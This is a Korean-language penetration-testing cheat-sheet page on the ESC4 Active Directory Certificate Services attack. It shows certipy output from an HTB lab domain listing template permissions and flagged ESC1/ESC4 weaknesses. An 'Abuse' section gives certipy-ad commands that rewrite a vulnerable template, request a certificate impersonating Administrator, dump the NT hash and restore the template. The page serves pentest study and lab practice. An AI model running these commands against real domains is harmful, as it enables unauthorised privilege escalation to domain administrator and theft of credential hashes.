ESC4
ESC4는 템플릿에 대해 편집 가능한 권한이 있으면 ESC1에 취약한 템플릿으로 수정한 뒤
ESC1 공격을 통해 권한상승 할 수 있는 공격입니다.
Permissions
Enrollment Permissions
Enrollment Rights : CODER.HTB\PKI Admins
Object Control Permissions
Owner : CODER.HTB\Erron Black
Full Control Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Owner Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Dacl Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Property Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'CODER.HTB\\PKI Admins' can enroll, enrollee supplies subject and template allows client authentication
ESC4 : Template is owned by CODER.HTB\Erron Black
certipy를 통해서 인증 서버에 있는 템플릿 정보를 확인하면 ACL 목록이 출력되는데
이 중 한가지 권한과 몇가지 조건이 만족될 시 ESC4에 취약합니다.
Enabled : True
Requires Manager Approval : False
Full Control, Write Owner, Write Dacl, Write Property, Owner 중 1개의 권한 소유
Abuse
# ESC4에 취약한 템플릿의 속성을 수정하여 ESC1에 취약하게 변경
certipy-ad template -u <USER> -p <PASS> -template <Template> -save-old -dc-ip <DC-IP> -target <DC FQDN>
# 수정된 템플릿을 통한 ESC1 Abuse
certipy-ad req -ca <CA> -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -upn Administrator@<Domain>
# 획득한 pfx 파일로부터 NT Hash 덤핑
certipy-ad auth -pfx <PFX> -dc-ip <DC-IP>
# 템플릿 복원
certipy-ad template -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -configuration <Template>.json
-save-old 플래그를 사용한 이유는 실무에서 템플릿 수정 시
권한상승에 성공한 이후 원래 상태를 복원하기 위한 백업 플래그입니다.
References
Last updated
Was this helpful?